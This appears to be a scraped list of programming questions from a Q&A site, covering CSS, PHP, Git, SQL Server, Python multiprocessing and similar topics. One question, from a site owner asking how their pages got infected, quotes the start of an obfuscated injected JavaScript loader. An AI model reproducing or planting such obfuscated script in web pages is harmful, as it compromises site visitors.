• Android::Confused about image sizes in a website

  - by Legend

  I was testing my website inside the Android emulator with the Droid Skin (240 dpi). I have the following css: #container { position: relative; width: 854px; height: 480px; background: #000; margin: auto; } #container li { position: relative; list-style: none; width: 201px; height: 110px; padding-left: 10px; padding-top:10px; padding-bottom:10px; overflow: hidden; float: left; z-index: 2; } The display is not what I expected obviously because I am defining everything in px (when I should have been using dip but css does not allow dip). How can I convert my px to something that is suitable for Android? Any suggestions?

• need to run php script when form is submitted

  - by Brad

  I have a form that needs to run a php script once the submit button is clicked, it needs to be ajax. <form method="post" action="index.php" id="entryform" name="entryform"> <input type="submit" name="submit" value="Submit" onclick="JavaScript:xmlhttpPost('/web/ee_web/include/email-notification.php', 'entryform')" /> </form> In this situation, using if(form posted) { get results and run script } is not an option, I need to run the script externally, that is why I need it to execute the email-notification.php at onclick When I point my web browser to domain.com/include/email-notification.php - it runs perfectly. Any help is appreciated.

• Best way to search for a saturation value in a sorted list

  - by AB Kolan

  A question from Math Battle. This particular question was also asked to me in one of my job interviews. " A monkey has two coconuts. It is fooling around by throwing coconut down from the balconies of M-storey building. The monkey wants to know the lowest floor when coconut is broken. What is the minimal number of attempts needed to establish that fact? " Conditions: if a coconut is broken, you cannot reuse the same. You are left with only with the other coconut Possible approaches/strategies I can think of are Binary break ups & once you find the floor on which the coconut breaks use upcounting from the last found Binary break up lower index. Window/Slices of smaller sets of floors & use binary break up within the Window/Slice (but on the down side this would require a Slicing algorithm of it's own.) Wondering if there are any other way to do this.

• Apache htdocs in folder with unicode name

  - by Zsolti

  I have my apache (for windows) htdocs in a folder like c:\anything1\????\anything2. The problem is that in this case php won't execute any scripts from here and will display an error message like this: `Warning: Unknown: failed to open stream: No such file or directory in Unknown on line 0 Fatal error: Unknown: Failed opening required 'c:/anything1/????/anything2/index.php' (include_path='.;C:\php5\pear') in Unknown on line 0 ` If I try to open a html file, it is served by apache, so it seems that the problem appears only with php. Do you have an idea how to solve this?

• Javascript - remove part of cookie with a split('|') like array

  - by MgS

  I'm abit stuck. I'm using jQuery. I have a cookie which has the value such as : 1,something|2,somethingg|1,something We are treating it as [0] as id and [1] as name. I need to remove ONE where the id == '1' for example, this will leave the cookie like this: 1,something|2,somethingg How do I go about this, it will probally be in a loop, but not sure how to remove one of them. I have this so far: function removeItem(id){ var cookieName = 'myCookie'; var cookie = $.cookie(cookieName); if(cookie){ var cookie = cookie.split('|'); $(cookie).each(function(index){ var thisCookieData = this.split(','); if(thisCookieData[0] == id ){ } }); }

• Git: Stage into Commit, what is the right workflow?

  - by Lukasz Lew

  I just created a big piece of code I want to commit in several separate commits. So I can stage relevant parts, commit, stage, commit, ... and so on until I have all my changes commited. The missing part is how can I test whether I split the commit correcty. I.e. whether the part that is in staging area at least compiles? To do that I must somehow bring my work tree to be in sync with index (staging area) without losing the changes to be committed later. What is the right way to do it? What is the quickest way to do it? Update: How to do it with magit?

• (Wordpress) Global variable to detect pagination?

  - by Gnee

  I am showing 6 posts on one page. On the 7th post, pagination occurs on so on. goal: If there is more than one page (page 1, 2, 3, etc..), JavaScript is to add a specific div element. If there are only 6 posts or less, no pagination occurs, no div element is added. The number of posts to show: $showposts = get_query_var('showposts'); The current post number I can keep track of: $post_count++; Problem is I can keep track of posts 1-6 but how to tell if if it goes over to 7 and starts pagination? I thought there was a global variable that returns if pagination occurs, but I can't seem to find it. (I know there is global to detect pagination via <!--nextpage--> but so far I can't find it's equivalent for index.php).

• Reading in data from a file into an array

  - by Sam

  If I have an options file along the lines of this: size = 4 data = 1100010100110010 And I have a 2d size * size array that I want to populate the values in data into, what's the best way of doing it? To clarify, for the example I have I'd want an array like this: int[4][4] array = {{1,1,0,0}, {0,1,0,1}, {0,0,1,1}, {0,0,1,0}}. (Not real code but you get the idea). Size can be really be any number though. I'm thinking I'd have to read in the size, maloc an array and then maybe read in a string full of data then loop through each char in the data, cast it to an int and stick it in the appropriate index? But I really have no idea how to go about it, have been searching for a while with no luck. Any help would be cool! :)

• Fixed positioned div with a fixed height and relative or absolute divs inside it with greater height

  - by emilolsson

  Hello I have a problem with IE. I have a fixed div like this: #fixed { position: fixed; top: 0px; left: 0px; z-index: 9998; width: 100%; height: 40px; } Inside this div I want to place another div that has a height that is higher than its holder (higher than 40px). So I put a relative or an absolute div inside it and it works splendid in all browsers except IE, at least IE8. But in IE8 the child div gets cut because of the height of 40px specified for it's holder. Is there any workaround to this problem? I'm starting to get gray hairs..

• Finding the right name for an include that is to be executed before HTML output

  - by Pekka

  I am defining naming conventions for a simple plugin framework. For example: index.php - the main plugin file info.php - returns an array with plugin information install.php - self-explanatory can you think of an elegant, short-hand name for a PHP file that contains the code that is to be executed before any HTML is output? Do any examples from other frameworks come to your mind? What I have been thinking of: head.php - misleading, could be mixed up with HTML <head> before_output.php - clumsy, too long init.php - not exactly correct start.php - current favourite

• Re-ordering a collection of UIView's based on their CGPoint

  - by Chris

  Hi all, I have a NSMutableArray that holds a collection of UIViewControllers Amongst other properties and methods an instance of each of the viewControllers are placed in a parent view The user will place these objects individually when desired to. So essentially I use - (void)addSubview:(UIView *)view when a new view is added to the parent view controller. Because the UI is isometric it's made things a tad more complicated What I am trying to do is re-order the views based on their co-ordinate position, so items higher up the parent UIView frame is indexed lower then views lower in the parent UIview frame. And items that are on the left side of the view are positioned at a higher index to those on the right I think the solution may have to do with re-ordering the NSMutableArray but how can I compare the CGpoints? Do I need to compare the x and y separately?

• getjson alternative method for variable

  - by Florian Stanek

  I made a script which gets the data from a json file and parse it. It worked on a webserver. But now I have to find a solution to get it work on a local file (file:///C:/xampp/htdocs/script/index.html) instead on a server. It only works in FF: $.getJSON('data2.json', function(data) { $.each(data.selection_form.entities, function(i,name){ ...do something }); }); Any ideas? A local webserver is not a solution.

• Sql Server performance

  - by Jose

  I know that I can't get a specific answer to my question, but I would like to know if I can find the tools to get to my answer. Ok we have a Sql Server 2008 database that for the last 4 days has had moments where for 5-20 minutes becomes unresponsive for specific queries. e.g. The following queries run in different query windows simultaneously have the following results SELECT * FROM Assignment --hangs indefinitely SELECT * FROM Invoice -- works fine Many of the tables have non-clustered indexes to help speed up SELECTs Here's what I know: 1) The same query will either hang indefinitely or run normally. 2) In Activity Monitor in the processes tab there are normally around 80-100 processes running I think that what's happening is 1) A user updates a table 2) This causes one or more indexes to get updated 3) Another user issues a select while the index is updating Is there a way I can figure out why at a specific moment in time SQL Server is being unresponsive for a specific query?

• What is the correct way to bootstrap Drupal with Kohana 3?

  - by Dave

  Hi, I am trying to implement single sign on between an existing Drupal site a Kohana 3 based webapp. Ideally I would like to load Drupal's session information into $GLOBALS using the bootstap: require_once('../includes/bootstrap.inc'); drupal_bootstrap(DRUPAL_BOOTSTRAP_SESSION); A post on the Kohana forum suggested that this should be placed in Kohana's index.php, but didn't say where. I've tried right at the start, and just before Kohana's own bootstrap, but both result in a White Screen of Death. Changing the bootstrap level to DRUPAL_BOOTSTRAP_CONFIGURATION works, but the session data isn't loaded. Any bootstrap level above DRUPAL_BOOTSTRAP_ACCESS results in a WSOD. If anyone has any ideas I'd really appreciate it!

• python multiprocessing.Process.Manager not producing consistent results?

  - by COpython

  I've written the following code to illustrate the problem I'm seeing. I'm trying to use a Process.Manager.list() to keep track of a list and increment random indices of that list. Each time there are 100 processes spawned, and each process increments a random index of the list by 1. Therefore, one would expect the SUM of the resulting list to be the same each time, correct? I get something between 203 and 205. from multiprocessing import Process, Manager import random class MyProc(Process): def __init__(self, A): Process.__init__(self) self.A = A def run(self): i = random.randint(0, len(self.A)-1) self.A[i] = self.A[i] + 1 if __name__ == '__main__': procs = [] M = Manager() a = M.list(range(15)) print('A: {0}'.format(a)) print('sum(A) = {0}'.format(sum(a))) for i in range(100): procs.append(MyProc(a)) map(lambda x: x.start(), procs) map(lambda x: x.join(), procs) print('A: {0}'.format(a)) print('sum(A) = {0}'.format(sum(a)))

• Java List Sorting: Is there a way to keep a list permantly sorted automatically like TreeMap?

  - by david

  In Java you can build up an ArrayList with items and then call: Collections.sort(list, comparator); Is there anyway to pass in the Comparator at the time of List creation like you can do with TreeMap? The goal is to be able add an element to the list and instead of having it automatically appended to the end of the list, the list would keep itself sorted based on the Comparator and insert the new element at the index determined by the Comparator. So basically the list might have to re-sort upon every new element added. Is there anyway to achieve this in this way with the Comparator or by some other similar means? Thanks.

• Chunks of javascript added to webpages on server

  - by SteD

  I've found out that my web pages (mainly index.php, main.html, include.inc) have been injected with a chunk of javascript codes at the very bottom after my original code. <script>try {this.l="";var d=window[unescape("%75%6e%65%73%63%61%70%65")];var M;if(M!='' && M!='a'){M='bt'};var A="";var Mc=new String();var e=null;this.k="";var t;if(t!='' && t!='iX'){t=''};var K=window[d("%52%65%67%45%78%70")];var p=d("%72%65%70%6c%61%63%65");function C(H,Z){var N=d("%5b" Is it possible for SQL injections to add the chunk of js code to the webpages(like 50 of them are infected)? Or is it a virus on the server itself? I am using Drupal + Ubercart with quite minimal forms inputs.

• How do I resolve this scope issue in VB .NET?

  - by froadie

  I have a code structure something like this: For row = 1 To numRows Dim arrayIndex As Integer = 0 For column As Integer = bucketStartColumn To bucketEndColumn ' whatever code arrayIndex = arrayIndex + 1 Next Next Dim arrayIndex As Integer = 0 For column As Integer = bucketStartColumn To bucketEndColumn ' whatever code arrayIndex = arrayIndex + 1 Next Not exactly the code, so I don't really need suggestions about refactoring, but my problem is this - with this code I get a compiler error for the first Dim arrayIndex As Integer = 0 - "Variable 'arrayIndex' hides a variable in an enclosing block." As far as I can tell, arrayIndex is local to the first for loop and shouldn't exist by the time we reach the second loop. If I try to change the second declaration of arrayIndex to arrayIndex = 0, I get the error "Name 'arrayIndex' is not declared", as I expected. So is it visible, or not? Does this have something to do with the Dim keyword? Any suggestions of how to get around this, other than naming the second index variable something else?
